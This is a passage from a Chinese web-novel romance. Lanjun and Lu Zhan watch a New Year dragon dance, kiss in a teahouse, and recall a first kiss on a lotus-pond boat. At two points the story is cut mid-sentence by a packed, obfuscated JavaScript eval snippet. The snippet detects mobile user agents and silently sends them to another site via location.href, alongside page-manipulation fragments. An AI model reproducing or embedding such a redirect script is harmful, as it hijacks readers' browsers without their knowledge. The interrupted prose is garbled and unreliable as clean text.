我心里我也鼓劲,兰君,你可以的! 谁料“虾兵蟹将”过后,有一位放爆竹的竟然将爆竹放在了我前方,几乎就在我脚下位置爆炸,而“龙王”就跟在“虾兵蟹将”后面,我若是要躲,一定又要错过了,人又太多,我无法挪位,实在是太可恶,太可恶了!那放爆竹的正是我能城东的,我唤他一声幺叔,他和我爹关系极好,常常一起吃酒,他知道我怕这个,见到是我便故意逗弄我。 “阿叔,你怎么能这样!”我控诉他。 他已哈哈大笑着跑来,说着:“新年到,福气到,送福咯!” 我是呲牙咧嘴的,还是扯龙须重要! 我周围的人都已经高高举起了手,个个兴奋地躁动起来,他们是和我一样都要扯龙须的。 龙头经过时会从人群身上虚晃而过,那龙须千丝万缕,一扯就断,可很不容易能扯到,虽多,却极其顺滑,便是扫过手心也容易不及扯断龙须便已经滑溜而过。 顾不上脚下噼里啪啦的爆竹声,我紧盯着龙头,快要来了,快要过来了! 而这时又有一位我并不认得的放爆竹的将爆竹放在了我脚下,这回并不是针对我了,只是我脚前地方有爆竹碎,他便也将爆竹放在了此处,生生将我快要伸出去的脚给吓退。 “陆辗,陆辗——”周围声音实在是太大声了,我得很大声很大声地喊着陆辗,是要叫他注意,赶紧扯龙须。 而我是下意识抬手要捂耳朵,不料我才抬手,耳朵已经被手掌捂住,我一怔,怔愣也就片刻,我已来不及说什么,龙头已经舞到了我们这个位置,龙须从人群头顶晃过,龙王敏捷得很,瞬间转身,我眼疾手快跳起来一把抓住龙须,感受着滑顺龙须从我手心和手腕扫过,而我扯下了龙须。 我紧紧攥着手心的凉丝,雀跃地跳着转身,向陆辗炫耀:“陆辗,我扯到了!” 我只看到陆辗低头微笑,嘴唇微动,他说话太小声,我没有听到他是说了什么。 当是时,又一个爆竹炸响,这一串炸响的爆竹和刚才的那些都不同,威力甚是迅猛,我被惊得无意识喊了一声,扑进了陆辗怀里,那声音透过陆辗手心传至我耳中,我撞到了陆辗本欲往后退一退,奈何人实在太多太激动,挤成了一团,我被挤着完全挤进了陆辗怀里,爆竹声还在响,我缩写头,侧首更靠近陆辗。 而这回,约摸是我离陆辗近得很了,听到了他的声音,他的警告声自头顶传来:“你敢把你脸上的粉蹭到我衣上你就完了。” 我心头一震,立刻仰头,避免脸和他衣裳接触,看到了他黑着脸的样子,我不禁咧嘴笑起来,笑了会儿又感到有些心虚,不过还是笑着道:“你说晚了,不过就一点点,我帮你擦去就好了。” 伸手不打笑脸人,伸手不打笑脸人,我默默腹诽着,捏住衣袖擦他衣上的脂粉,还好是只有一点点,擦了几下就没有了。 陆辗一直无言,我也不敢去看他,继续擦了擦,笑得眯眼,这样就看不到他可,我讨好地道:“对不起嘛!” 陆辗从鼻间哼了一声,我知道这是不会和我计较了。 我又真切地嘻嘻笑起来:“我扯到了两根龙须,送你一根吧,保佑你明年进士及第,怎么样?” 我知道方才他给我捂耳朵没有手去扯龙须了,还好我扯到了两根,分给他一根好了! 陆辗还是不语,他手是抬着的,我便就这么将一根龙须缠绑在了陆辗手腕上。 此时,陆辗才道:“不怎么样。” 我早知他秉性了,他没有拒绝让我绑着就是默许,已经给他绑上,我将另一个根龙须拿给他,催促他:“快快快,你也给我绑上,我一只手打不了结。” 我伸出手腕到陆辗面前,他看起来是有些很不耐烦,还是帮我绑了龙须。 “陆辗,你也要说保佑我什么啊。”其实并没有这样的步骤了,只是我想听陆辗说。 我盯着陆辗,非要听他说,他自然是很无奈的,绑完后简单说了一句:“平平安安。” “我早上已经对着幡子许过平平安安的愿了,好吧,那就平平安安。”是有些不满了,可是再许一次愿也无不可。 我和陆辗同温娘他们只一开始走在一起,后来走着走着就分散了,只剩下了我和陆辗,我们俩跟着人群追了一会儿社火,追到了城西便没有再继续,城西是浔阳城市集,今日还有夜市,到了城西后我们就留在了城西逛市集。 今年的市集可是大不相同!前几日温娘他祖母大寿,温娘他爹大肆操办了寿宴,请了戏班子、变戏法的、江湖艺人、耍杂技的、还有来自西域和天竺的艺人…… 他们还没有离开浔阳城,今日还在夜市卖起了艺,以至于今年追社火的人群都少了许多,许多和我一样追到了城西便被他们给吸引留了下来。 在温娘祖母的寿宴上我就还没有看过瘾,今日又能一饱眼福,我自然是不会不错的了。 处处张灯结彩,头顶上都挂着红灯笼。 我拽着陆辗往前走,两个天竺的训蛇师正在摇头摆脑地吹奏着乐器,在他们前面,两条立起来的蛇摇随着晃得正欢,我想看的不是这个,而是前面的上刀山下火海。 “哇,陆辗你看,他真的踩着刀刃上去了!”不是第一次见到了,可还是让我惊叹,我真的很好奇那人是怎么做到的,看着看着我忽然滋生一个念头,我问陆辗,“陆辗,你那么厉害,什么都会,这个也会吗?” 喜获陆辗嘁声,我哈哈一笑,掩饰尴尬,不过一瞬,我继续拉着陆辗往前走。 一路看到了这条街尽头,过了木桥又到了另一条街,这边街上就是吃的还有一些小玩意儿更多了,恰好我也跑累了,可以停下来歇一会儿。 “陆辗,好累啊,走不动了。” “叫你方才那样到处跑,现在知道累了?” “知道了知道了,那我们去茶楼坐一会儿歇息好不好?” “嗯。” 桥头有一家糕点铺,他家的栗子糕和饆饠特别好吃,陆辗很喜欢吃他家的栗子糕,我更喜欢吃他家的饆饠,我先前央求陆辗给我画花钿时便答应了陆辗要请他吃栗子糕的,自然不能言而无信。 “那你先去,我去买点东西,一会儿就去找你。” “你要去买什么?” 我推着陆辗往茶楼方向去:“你别管,反正我很快就来找你了,你赶紧在茶楼找个好位置,今日人多,还不一定能有空位呢。” “你买什么我不能同你一起去?告诉我你要买什么,免得一会儿你走丢了,不知道去哪儿找你,你不说我就和你一起去。” “我才不会走丢,我是要买答应请你吃的栗子糕,行了吧,你非要问。” “行了,”陆辗扫了一眼糕点铺,“买完赶紧来找我,我可不想看你找不到人哭哭啼啼。” “那都是多久以前的事了,你还提,你这样别怪我提起你贪玩被你爹提着打了一路一直打到家的事!” 互提不想回忆的往事后我和陆辗“不欢而散”。 糕点铺买糕点的人有点儿多,我等了好一会儿才买到了栗子糕和饆饠,我提着买好的糕点往茶楼去,不想在茶楼门口碰到了吕十二郎和岳九郎,温娘和梁七郎没有和他们同行,不过和他们同行的那人我也认得,是江州刺史曹刺史的儿子。 我会认识曹刺史以及他儿子还是因为我爹托过他引荐我到白鹿洞书院去求学。 小时候我是在浔阳城城东一个老先生开设的书塾读书,后来长大了些,我爹和陆辗他爹一起请了曹刺史吃了顿酒,托他引荐,让我和陆辗到庐山下的白鹿洞书院读书。 那时候城东与我和陆辗一样在白鹿洞书院读书的还有一个举子,年纪大我和陆辗很多,当时我十岁,陆辗十三岁,他已经三十二,我和陆辗年纪小,我们两家便给了他一些礼钱托他照看我和陆辗,他对我和陆辗都特别好,不过第二年他就去了长安参加了科考,还得了那一年的进士二甲,听闻如今已经成了大官,详细的我是不知道,只知道他们一家已经举家迁居长安,只留下了传说。 陆辗以前聪敏却是读书不大认真的,贪玩逃学,被他爹逮住一路揍回了家,我每每想起这事都要狠狠笑话他一顿。 然而自从陆辗和那位举子熟识后他仿佛变了个人,开始发愤图强,废寝忘食地读书,他爹娘本来想的是他读读书能够识文断字就好,他爹也是想让他再读几年书就继承他衣钵,带他去昌南烧瓷,见他忽然读书入魔惊得问他是怎么了,他才说他以后也要进京科考做官,他爹娘知道他还有这样的大志向时是高兴得不得了,很是支持他,毕竟我们浔阳城东出过一个进士,所有人家当然也想自己家出一个进士。 便是因为那顿酒我认得了曹刺史和他儿子曹三郎,曹三郎也在白鹿洞书院上学。 他们正从茶楼出来,我想着我应该和他们打个招呼,还没打招呼,听到了他们的对话,我往旁边藏了藏。 不知他们先前是在说什么,那吕十二郎正高声道:“如今长安有两位公主正等着明年春闱挑驸马。” 曹三郎在一旁道:“公主挑驸马?” 岳九郎笑得意味深长,道:“一位是适龄婚嫁的公主,一位是驸马因故离世要再寻新驸马,两位公主皆是品貌非凡,明年科考之人是真的难得的运气好得很呐!时机得好好把握呀!” …… 他们一路说着话离开,见他们离远了我才进了茶楼,由茶楼小二带着去找到了陆辗所在的隔间,我才发现,我方才躲藏的地方似乎……就在陆辗找的这位置楼下。 陆辗一见我就道:“鬼鬼祟祟,终于舍得上来了?”他现在虽然坐着,刚才一定站在窗边,必定还看到了我,不然怎么知道我鬼鬼祟祟? “谁叫迎面碰上他们。” “碰上人不打招呼反而躲藏在一旁?” “你管我!” “我才懒得管你。” 我坐在陆辗对面,将纸袋放置在桌上,打开了纸袋,饆饠还是放在我面前,栗子糕推到了陆辗那边。 “我守信咯,请你吃栗子糕。”说话间,我闻楼下街道上有声,顺着窗户望下去,一抬头,发现这位置竟然可以看到那个糕点铺,我转而去看陆辗,“陆辗,你不会一直在这儿看我吧?” 陆辗对于我的询问不置可否,只拿木箸夹了栗子糕吃。 “都说了不会走丢,你以为我还是小孩子哦……”我愤愤然,也拿木箸夹饆饠吃,吃了饆饠心情就好了,对于陆辗不信任我的事也就抛之脑后了。 “陆辗,你没有和他们碰上吗?” “没有。” “他们说的话你有听到吗?” “他们说了什么?” “你没听到?” “没听。” 陆辗竟然没听到?不会吧,这上面听楼下声音是很清楚的,现在我都能听得清楼下人说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310287|167266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话声,难道他方才在走神? 我嚼着口中饆饠,猜疑地打量陆辗,将饆饠咽了下去,道:“他们说明年公主要选驸马。” 陆辗神色微滞,道:“嗯,然后呢?” 我犹疑着,一直不语。 陆辗没再追问,而是喝起了茶。 犹疑到再吃了一个饆饠后我还是问出了口:“陆辗,你有没有什么想说的?” “说什么?栗子糕?多谢你。” “不是栗子糕。” “那是什么?” “就是……你……会想得公主青睐吗?”问完后我是很惶惶,目光闪烁不定,随意拿起茶杯喝茶,假装品茶。 好一会儿后,陆辗慢悠悠地道:“想啊。” 我登时瞪大了双眼,一掌拍在了桌子上,喉咙中被一片茶叶卡住,想说话还没能说就开始咳嗽起来,猛拍了好几下才将那茶叶咳出来。 终于能说话,我抱着手臂,心中怫悒,表面愤慨。 “好哇,你竟然还肖想公主!”我俯身想将栗子糕抢了过来,“不给你吃了。” 不料陆辗身手敏捷,将栗子糕拿了起来,我伸直手都不能拿到。 “骗你的,不想。” “你现在才是骗我的。” 我心中还是忿忿不平,起身便往陆辗那边走去,我要拿回我的栗子糕! 陆辗一手拿着栗子糕,一手挡住我,道:“你说了买给我的,还想拿回去啊?” “对,我要拿回来,你还给我,不给你吃了。” “逗你的,真生气了?” 我一心只想夺回我的栗子糕,温娘说得没错,男子都巧言令色,利欲熏心。 一边招惹我,一边肖想公主! “小心点,你别摔了。”陆辗是这样说着,可却还是拿着栗子糕左右高举,让我抢不回来。 “痴心妄想!”我嚷嚷着继续扑过去,栗子糕还是没抢到,我果然如陆辗所言摔了。 这隔间是挺宽敞的,桌案却是放置在窗边,窗户本是打开的,竹帘也是卷着的,只是我这么一摔,手恰好挂到了拉卷竹帘的绳子,绳子被这么扯了一下,竹帘应声而落,瞬间隔绝了外面景象,只能听闻热闹声音。 陆辗为了躲我是往后仰的,现在变成了他被我扑倒,而我趴在他身上,我记挂着他先前的警告,及时用双手撑着才没脸也扑进他怀里,不然他衣裳上恐怕要有我一张脸。 我是一下子安静了,不嚷嚷了,也不动了,只望着陆辗,陆辗也缄默无言,并未斥责我,同样望着我。 也不知是过了多久,我终于想起来要赶紧爬起来,我慌乱地别过眼,避开陆辗视线,呼吸也是错乱着。 我才有起身的动作,忽而感到后背一紧,陆辗手掌压在了我后背上,压得我再跌了一下,我错愕,只好强装镇定,故作愤怒掩饰我的慌乱,怒目回看陆辗。 楼下和隔间外都传来声音,先前我耳听八方可听得清清楚楚,此刻我完全只感觉到嗡嗡嗡的声音,像是蜜蜂一样,一点儿不能分辨出他们在说什么。 陆辗不说话,又不让我走,我更是心神不定,我佯装的愤怒也只维持了片刻便破功。 我小声地喊:“陆辗?” “嗯。”陆辗闲闲地应了一声,却并未放开对我的桎梏。 他望着我,和我对视,我想说放开我,却看到他目光离开了我的眼睛,缓慢下移,停下。 我离他太近,他目光太明显,我看得太清楚,一时之间是更加的六神不安。 此种情态我是不陌生,可是……我依旧不能镇定自若,我低头再弱声喊:“陆辗……” “嗯。”陆辗还是只应一声。 过了会儿,陆辗还是没有放开我,我心间愈感焦灼,耳边还听到陆辗温声唤我:“花奴,低下来些。” 我撑在地面的手顿时紧紧抓住了垂落手旁的衣袖和帔帛,面颊也感到烫热起来,幸好我今日脸上有妆,应该能遮住,我不安得抓握着衣袖和帔帛,根本不敢再正视陆辗。 僵持不过须臾,我便感觉到了后脑勺被手掌压按往下,我手上一时也撑不住,整个人都不能自控地完全陷入陆辗怀中,他倒还一手手肘半撑着身体。 这下子,我是离陆辗很近很近了,未待我反应过来,已经更近,唇上贴上了两片温软,尝到了残余些栗子糕和茶的味道,心刹那漏跳了好几下,又如擂鼓,咚咚咚响不停。 隔间里针落可闻,是很安静的,周遭人声嘈杂,是很热闹的,如此鲜明的对比,让我怎么也无法平静。 由于隔间实在静谧,衣料摩擦的声音都能听得清起来,耳边还听到了黏腻吻声,我更惶恐,下意识后退,不想反而因此溢出几声细微的嘤咛,我脑中顿时炸开,犹如被搅碎豆花,一团碎裂,继而开始感到难堪、羞臊,我抓着袖口和帔帛的手已经紧到不能紧,将纱帛攥紧手心也不能让我平静分毫。 去岁盛夏,那一日,我不知抽了什么疯,趁着陆辗睡着亲了他,被醒来的他当场抓包,我以为他要推开我,将我推翻到荷塘里去,不想他并没有,好一会儿后,他压着我后脑继续,就像此刻一样,也有很大不同,那时他并未如此熟稔,只是试探,不会吻得这样深。 我是很懊悔不已的,可并不反感发生这样的事,我只怪我好奇心重,色迷心窍,没事的,反正没有人知道,我那时是这样想的,我以为事情会过去,然而并没有,自那以后,陆辗就很喜欢抱我,亲我,好像也更纵容我。 隔间外有人停下说话,我听不清他们究竟说了什么,可我知道是有人停下,我抓了一下陆辗手臂,是要叫他停下,他却根本未停,只有我紧张得心跳到了嗓子眼。 断断续续,过了很久很久,我回到我的位置再喝茶时热茶已凉透。 陆辗终于放开我,温存地贴在我嘴角。 我忍不住怒斥道:“登徒子——” 陆辗这个不要脸的还笑了出来。 我恼火地推开了他,这回是轻易就能将他推开了,不过他又坐起来还轻攥住了我指尖,我狠狠甩开他,有心想再斥骂两句什么,一回头看见他唇上染上了我唇脂,还想说的话一下子落回了肚子里。 陆辗仰首望我,目中是与平常不大一样的温柔缱绻,还有些不正经,他笑道:“蟹黄饆饠,郁金香,清茶,味道有点儿奇怪。” 我瞪着他:“你闭嘴!” 8. 第 8 章 时维盛夏,烈日炙烤大地,处处都焉焉的,然而浔阳城外的一方荷塘内,荷叶翠绿,荷花盛放,莲子正鲜。 春耕后、暑热时书院是不开课的,暑热退去,秋收结束书院才开课,一直到来年。 此时正值暑热时节,我和陆辗自然都在家中避暑,我整日拿着团扇扇风解热,作用甚微,今年又是暑热极厉害的一年,仿佛要将人热傻了,如此热烈时节,若还是要出门去,自然是为了清香可口的莲子了。 是日,我和陆辗相约去荷塘采莲子,同行的还有好几个相熟的伙伴,我们一行人风风火火坐着城东刘老翁家拉草的牛车到了荷塘,立在荷塘边时,迎面而来一股泥腥味,以及荷叶荷花的清香。 在岸渡,我们一行人分了船,便分散着划船进了荷塘藕花深处,荷叶荷花从身上、从船沿扫过,冰冰凉凉,暑气都消散了去。 我和陆辗分到了一条船,这条小船也只有我和陆辗两个人,我还很是随意敷衍地划着船,船速竟然一点儿都没有变慢呢,想来我便是用尽全身力气也帮不上多大忙嘛,索性我开始玩了起来。 我瞅准了时机,在陆辗正侧脸看船位置时手心垂落荷塘水中,舀了一手心水洒到了陆辗脸上。 他偏头回来,沉声道:“花奴!” 我装作无辜,乐呵呵“哎”了一声应他,见他脸色还是未好起来,才找起了借口。 “好热啊!帮你解暑嘛!” 陆辗沉沉叹息,还是没有和我计较了,只说一句:“用不着。” “哦!”我悻悻然,摘了一颗花苞,一口咬掉花苞尖,不怎么好吃,清涩的,但是有很独特的味道,还是莲子比较好吃,这外边莲子被人摘得差不多了,一路过来没见多少,得划到更深处去才多起来。 小船缓慢行进,不久就已深入荷塘深处,完全被花叶包围,重重叠叠的,遮挡住视线,看不见其他人,也听不到他们声音,我们本就分散开的,想来是已经隔远了。 此刻,是真的超级凉快舒服,我和陆辗摘了许多莲蓬剥了许多莲子后我就不想走了,如此惬意,日头渐渐炎热起来,这清凉舒适的藕花深处,微风徐徐,遮阴避热,可是太适合午睡,我用尽浑身解数,撒泼让陆辗和我一起躺下歇息。 “陆辗,你划船那么久累不累啊?” “你说呢?” 我知道我是在明知故问,我觑着陆辗,将手上一颗剥好的莲子喂到他嘴边:“这朵莲蓬的莲子很清甜呢!” 陆辗低头瞥了一眼,还是张口咬走了我手上莲子,呵声道:“莲子就想打发我了?” “一会儿回去路过果浆铺,请你吃果浆,这总可以了吧。” 看着陆辗眉眼舒展,我打着哈欠,揉着眼睛,放软声音,得寸进尺提出我的诉求:“陆辗,我好困,我们歇一会儿嘛。” “就知道你没安好心。” “哪有,我这不是好心让我们都歇息一会儿麽。” “一路玩,你还累了。” “我还剥了那么多莲子,哪有一路玩。”我辩驳的底气着实不太足,这一路我是大多时候都在玩耍。 撒泼卖乖许久,陆辗终是将船划进了一处花叶繁茂之处,这下子小船是完完全全被包裹住,自然也是个阴凉的好地方。 我和陆辗躺在了船上,他躺在一头,我躺在另一头,躺下后,周边都是花叶,阳光透过缝隙撒下,在身上留下些斑驳,花叶随风而舞,影子摇晃。 我看着蔚蓝的天空,柔软的云朵,掠过的飞鸟,看着看着困倦袭来,眼皮越来越重,也不知何时就陷入沉睡。 睡梦中我感到鼻尖痒痒,时有时无的,再一次感到痒时,我骤然醒来,一看,原来是一片荷叶因风飘摇,偶尔打在我鼻尖。 我竟真睡着了,我本来就像闭目假寐而已,可能这地方实在是太舒适惬意了吧,果真如我所言,适合午睡,甚至陆辗也睡着了。 我自是没有闹醒他,而是小心翼翼尽量不晃动小船爬到了船中央去,我蜷身坐在船中央,将下巴搁在膝盖上,看着他的睡颜,他的脸阴影里,被宽大荷叶影子遮住,反出微微荷叶透绿的光色,我不禁又想感叹,他真的生得一张好色相呢,我想他可能是精魅转世成的人? 想着想着我是笑起来,再跪着俯身离陆辗更近,我悄悄伸出一根手指戳他的脸,他没醒。 我又靠近他看他长长的眼睫,他还是没醒,大约是他划船真的乏累,我一路玩水,摘花、摘叶、摘莲蓬、剥莲子……只顾着玩耍,都是他一个人划船。 就这么看了半晌,我目光不自觉落到了他嘴巴上,顿时我心是一紧。 前几日,温娘买一本新的话本,她看完后给了我看,暑热懒倦,我本是不想看字的,一看就容易犯困,可是温娘激动地叫我一定要看,她说不能就她一个人看,没有人一起探讨,我便还是看了。 温娘将话本给我时是神神秘秘的,叫我千万不要让其他人看到这话本,还叫我看时要一个人,最好是在无人的地方,千万千万不能在有人的地方看,我将书藏在怀里,从温娘家带回了家,一回家就跑进了我闺房,将门栓闭上,这才趴在床上看起了那话本。 那话本写的是一个小姐和书生的爱情故事,没翻开话本前我以为和我以前看的话本没有什么不同,可不想它其实很是不同寻常。 我翻开第一页就看到了一页插画,是那小姐和书生坐在槛窗上,在落花中相拥亲吻,我翻开这一页就猛地合上了话本,跟做贼似的,再看周遭是否真的无人,我身处闺房,自然不会有人,便是阿娘找我也会先叩门,可我还是心惊胆战,疑神疑鬼。 我真是做贼心虚了。 虽然感到羞耻,我还是继续翻开了话本,不过是扫都不敢扫那插画一眼,直接翻到了后面,看起了文字。 可是不料到,这本话本竟如此浮浪,话本中也写了很多亲吻,有一句带过,也有细细描写,写什么软,香,甜,欢愉…… 甚至话本夹页间还有插画,画是画得很唯美的,只是无一例外全是小姐和书生在一起的画,越翻到后面,那画愈发大胆起来,原来还只是亲亲抱抱,到后面变成了衣衫褴褛,各种样式的亲亲抱抱,都是那小姐和书生幽会的模样。 看那本话本那几日,我脸每日都是红扑扑的,我总算知道为何温娘把话本给我时脸蛋也是红扑扑带着一缕羞涩了。 翻开,合上,翻开,合上,如此,循环往复,我终究还是将这话本看完了。 我就猎奇一次,看过后就通通忘掉,我是这样想的,不曾想,我原来也没有忘掉,此刻就想了起来。 陆辗的嘴巴是桃粉色的,看着似乎很软,他这样冷硬矜傲的人,嘴巴也会是软的麽…… 试一试不就知道了! 我为我突然生出的念头惊愕,可是,是很想试试啊,反正陆辗正睡得沉,我碰一下,他应该不知道吧? “陆辗,陆辗?”我用轻微的气声唤他,他未有醒来迹象。 此念头一生真是怎么也止不住,可能是我春心萌动了罢,我纠结许久许久,陆辗也不见醒来,我头越来越低,不知何时就已经碰到陆辗嘴巴。 真的是软的!我心里是只有这个想法。 我贴着他,他还是未醒。 是应该一触即离的,真正贴上后我却紧张得忘记了离开,而是小心翼翼看着陆辗紧闭的眼睛,感受着他唇间清香。 他刚才吃了许多我喂给他吃的莲子,唇间尽是莲子清香,这清香似乎将我缠住,让我胆子更大起来,他睡得这样沉,让我我不禁想继续轻薄他。 他睡着了,不会知道的。 我满脑子是想着话本里写唇齿交缠,究竟是怎么个交缠法? 我不知道,只能自己瞎琢磨,轻轻舔舐着他唇瓣,再抬眸觑一眼,他还是沉睡着,我探至他唇缝……如此浮浪行径!我陡然回神,是被我此番行径吓得呆住,还好陆辗一直未醒。 我这是在干什么?!我是疯了麽?!我是入邪了麽?! 被陆辗知道了就死定了!他一定轻饶不了我,竟然敢趁他小憩轻薄他。 千万千万不能叫他知晓这事。 不过陆辗的唇瓣真的是软的诶,还带着莲子清甜味道,就是亲吻哪里会令人欢愉了?我快要吓死了,只有担惊受怕,我眨了好几下眼睛,见陆辗还在酣梦,还好,还好,不料我正要退离,便见陆辗睁开了眼睛。 我心都骤停了下来。 我死定了!陆辗醒了! 我登时就像退后跑路,我害怕被我惹恼的陆辗一把将我掀翻到荷塘中去,是淹不死我了,但我不想浑身湿漉漉的,满身是泥,很不舒服。 小船因我乱动晃动了片刻,荡起一阵水声,突然停止,我也突然停止。 陆辗并没有掀翻我,而是将我拦腰桎梏,我完全趴到了他身上,还未来得及说什么,口又被他很用力堵上,他另一只手摁着我脑袋,我动弹不得,我也忘记了挣动,呆愣愣的,凝滞住。 陆辗一直无言,只同我唇瓣相贴,厮磨,和我方才所作所为没有什么不同,可是,又很不同,他力道更重,我感觉他似乎有些烦躁,不得张法地吮吻。 这便是,唇齿交缠麽?我脑袋昏昏沉沉的,浑身血液四处奔腾,气息紊乱。 陆辗手掌已经徘徊至我耳侧,拇指揉了揉我耳垂,将我脸托住,他微微退开,望着我,温声道:“花奴,你牙齿咬得太紧了。” 我是一直目光迷离,我睁着眼却什么也没有看,听到陆辗声音才看向他,我是因紧张而紧紧咬合住上下齿,可是这怎么了麽?我不解,疑惑望他。 他抬头,用额头碾着我额头,用哄人的语气道:“放开些。” 我迷迷糊糊,心神由他牵引,如他若言松开了牙齿,他再次亲上来。 我浑身震颤,不行,这……这这这…… 然而此刻已不由我,陆辗又微微后退,气息不稳道:“别动,又想摔进荷塘?” 我自然是不想,可是…… “陆辗,唔——” 我才喊他名字,声音又被堵住。 不知过了多久,我听到有人喊:“兰君,陆辗,你们在哪儿。” 这声音听着离我不很远。 我慌乱地偏头,陆辗吻落到了我脸颊上。 我吻他,是只贴着厮磨,他吻我,却是吻得我口舌发麻,我轻喘着气,歇了片刻,压低声音道:“陆辗,有人来了,你快放开我。” 陆辗并未放开,继续轻吻着我脸颊,流连到了耳根,我感觉到他温热气息打在那里,酥痒发麻,又听他略微喑哑的声音在我耳畔道:“有人喊了,你不应麽?” 我偏着头躲他,推搡他。 “兰君!陆辗!” 这声音越来越近,我紧忙晃动一旁的荷花荷叶,回喊我们的人:“在这儿,怎么了?” ”终于找到你们了,天太热了,我们打算回去了。” 我曲折在陆辗胸前的手抬起小臂,用整个手掌抓按着不安分的陆辗,不让他靠近我。 “噢,好,是好热啊,我们回去罢。”我回他们。 喊我们的人远去了,此间又只剩下我和陆辗两个人,我松懈了一口气,转头看陆辗,不料正同他目光相接。 他方才一直放在我头侧的手掌滑到了下颌,拇指摩挲着我唇角,唤我:“花奴——” 我用尽全力将他推开,坐回了我原本坐着的那一面船头,背对着他,摘了一片荷叶不停地往热烫的脸上扇风。 想着刚才的事,不知气从何处来,我用手中荷叶舀了水,回头用手把荷叶中的水泼洒到陆辗脸上。 陆辗任由我泼他水,毫无怨言,这可真是怪异,我这样闹他,他竟然不斥责我,而是平心静气,只默不作声划船。 见他久久不说话,我又难耐起来,回家的路上我忍不住问他:“陆辗,你怎么了?你怎么不说话?” 陆辗只盯着我看,那眼神意味不明,我捉摸不透,半晌后,我感觉脸颊又热起来,只好别过眼去,不再看他,我亦不打算问他为何一路缄默不言了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310288|167266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 今日陆辗脾气真是好呢,我们一路回家,到了果浆铺,他没让我请他,反而给我买了蔗浆,他一路帮我提着我盛莲子的竹篮子,后面遇到卖糖葫芦的阿嫂,他还问我要不要吃糖葫芦,我说想吃,他便去给我买来了糖葫芦,虽然他平常也是这样对待我的,但今日我感觉格外的不一样,究竟是哪里不一样我也说不清。 到家前,他忽然叫住我,面上有狡黠笑意,倾身附耳同我说:“花奴,你是不是也心悦我?” 我大惊失色,一跺脚,后退一步,一板一眼道:“没有!” 我以为陆辗不和我计较了的,他一路都没有提起这事,我才心放回了肚子里,他竟提起此事。 陆辗目光流转在我身上,又问我:“那你为何要趁着我睡着偷偷亲我?” 我想着我要怎么反驳这话,想了好一会儿没想出来反驳的话,只好支支吾吾道:“你不是也亲回来了!我们两清,以后不准再提起此事!” 陆辗昂扬着头,道:“那可不行。” “你又没有吃亏,你想怎么样嘛!” 陆辗似乎真的在考虑这个问题,他摸着下巴,仿佛沉思,道:“我想怎么样啊?没想好……” 真是太丢脸了,太丢脸了!我心乱如麻,实在不敢再面对陆辗,抢过他手里拿的我的竹篮子,疾步回了家,径直回了卧房,趴在床上,把脸闷进被子里。 此后,我许久许久都不敢与他同行,不敢去他家找他,一直躲着他走,非必要,绝不与他待在一起。 秋收后书院即将开课,我们应该要到书院去了,我还是不敢和陆辗同行,思来想去,我和城南的苏娘子还有她弟弟同行,我提前与她姐弟俩约好,他们会等我去找他们,然后我们一起去乘船到书院去。 那日,我起了个大早,背着笈囊悄悄地出门,小心翼翼关上我家院门,一回头,看到我们两家院子外生长在一起的两棵大树下,陆辗抱着手倚靠树干,静静地看我。 行事鬼祟时最容易被吓到,我被吓得一抖,抬手顺着气,微微一笑,道:“你也要这么早就去书院吗?” “你躲着我?” 他……他他他怎么一开口就戳穿了我!不给我一点儿时间反应! 稳住,稳住,郑兰君,难道陆辗一句话就把你给撂倒了? 我理直气壮道:“没有!我为何要躲着你,我又没做亏心事。” “哦?没做亏心事?那是做了什么事?天还没亮就起来,一个人要去哪儿?” “去上学啊,我能去哪儿?我和苏娘子姐弟约好了要一起同行,所以起早一点儿去城南找他们,不行吗?” “行,怎么不行,走了,再磨蹭,你要让人家等你了。” “哦……啊,我想起来我有东西忘拿了,你先走吧,我今日和苏娘子姐弟同行,你不必等我了。” 陆辗也微微一笑,道:“你去取,我今日闲,就等你。” 我用手指挠了挠手心,这场面,可让我惆怅,我几步走到陆辗面前,神气道:“陆辗,你不是总说让我别老跟着你,你怎么转性了,我不跟着你了还不好麽?” 他说这话已经说许多年许多年前的事了,那是我们都还是小孩子,之后,他是再也没对我说过这样的话,我实在没办法,只能提起这陈谷子烂芝麻的事了。 陆辗不以为意,道:“转性又如何?” 他这番厚颜无耻之态,我只得指着他:“你——” 他捏住了我伸手指的手,倾身,摸了摸我头:“气性那么大?不就回亲了你,又没有强迫你,还是你先亲的我。” 我就知道这事是过不去了,我挣出被他攥住的手,侧对着他,道:“我没有生气,你不要再说了。” “没生气你缘何躲我?一大早的,一个人出门,也不怕路上人牙子把你敲晕装进麻袋把你卖了。” “不会吧,人牙子哪敢这么大胆?哪里来的人牙子?” “州府公告,最近有人牙子流窜到了江州,让江州百姓切勿独行。” 真有人牙子! 我兀自嘀咕:“他们应该不敢在城中作乱吧?”人牙子难道还敢进浔阳城来麽?浔阳城可是江州治所所在之地,进城岂不是自投罗网? 陆辗慢条斯理道:“难说……” 这可如何是好,从城东到城南,好长的路呢,有一段路还有些荒僻,应该不会有人牙子潜藏吧? 我是很害怕路上遇到人牙子将我敲晕撞进麻袋的,可是我早同苏娘子姐弟约好了,不能失约。 这几日爹到邻县送布匹去了,不在家中,我若是叫娘送我去,那她也得一个人回来,似乎也不安全,那就没人可以同我一道去苏娘子家了。 